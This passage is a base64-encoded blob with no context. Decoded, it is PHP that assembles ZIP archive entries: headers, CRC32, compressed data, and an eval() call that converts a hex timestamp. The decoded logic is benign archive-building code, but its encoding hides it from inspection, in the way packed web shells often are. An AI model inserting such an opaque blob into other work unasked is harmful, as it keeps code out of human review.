4JyAuICRkdGltZVswXSAuICRkdGltZVsxXTsNCgkgICAgICAgIGV2YWwoJyRoZXhkdGltZSA9ICInIC4gJGhleGR0aW1lIC4gJyI7Jyk7DQoJCSAgICAkZnIgICA9ICJceDUwXHg0Ylx4MDNceDA0IjsNCgkJCSRmciAgIC49ICJceDE0XHgwMCI7DQoJICAgICAgICAkZnIgICAuPSAiXHgwMFx4MDAiOw0KCQkgICAgJGZyICAgLj0gIlx4MDhceDAwIjsNCgkJCSRmciAgIC49ICRoZXhkdGltZTsNCg0KCSAgICAgICAgJHVuY19sZW4gPSBzdHJsZW4oJGRhdGEpOw0KCQkgICAgJGNyYyAgICAgPSBjcmMzMigkZGF0YSk7DQoJCQkkemRhdGEgICA9IGd6Y29tcHJlc3MoJGRhdGEpOw0KCSAgICAgICAgJGNfbGVuICAgPSBzdHJsZW4oJHpkYXRhKTsNCgkJICAgICR6ZGF0YSAgID0gc3Vic3RyKHN1YnN0cigkemRhdGEsIDAsIHN0cmxlbigkemRhdGEpIC0gNCksIDIpOw0KCQkJJGZyICAgICAgLj0gcGFjaygnVicsICRjcmMpOw0KCSAgICAgICAgJGZyICAgICAgLj0gcGFjaygnVicsICRjX2xlbik7DQoJCSAgICAkZnIgICAgICAuPSBwYWNrKCdWJywgJHVuY19sZW4pOw0KCQkJJGZyICAgICAgLj0gcGFjaygndicsIHN0cmxlbigkbmFtZSkpOw0KCSAgICAgICAgJGZyICAgICAgLj0gcGFjaygndicsIDApOw0KCQkgICAgJGZyICAgICAgLj0gJG5hbWU7DQoNCgkJCSRmciAuPSAkemRhdGE7DQoNCgkgICAgICAgICRmciAuPSBwYWNrKCdWJywgJGNyYyk7DQoJCSAgICAkZnIgLj0gcGFjaygnVicsICRjX2xlbik7DQoJCQkkZnIgLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCg0KCSAgICAgICAgJHRoaXMgLT4gZGF0YXNlY1tdID0gJGZyOw0KCQkgICAgJG5ld19vZmZzZXQgICAgICAgID0gc3RybGVuKGltcGxvZGUoJycsICR0aGlzLT5kYXRhc2VjKSk7DQoNCgkJCSRjZHJlYyA9ICJceDUwXHg0Ylx4MDFceDAyIjsNCgkgICAgICAgICRjZHJlYyAuPSAiXHgwMFx4MDAiOw0KCQkgICAgJGNkcmVjIC49ICJceDE0XHgwMCI7DQoJCQkkY2RyZWMgLj0gIlx4MDBceDAwIjsNCgkgICAgIC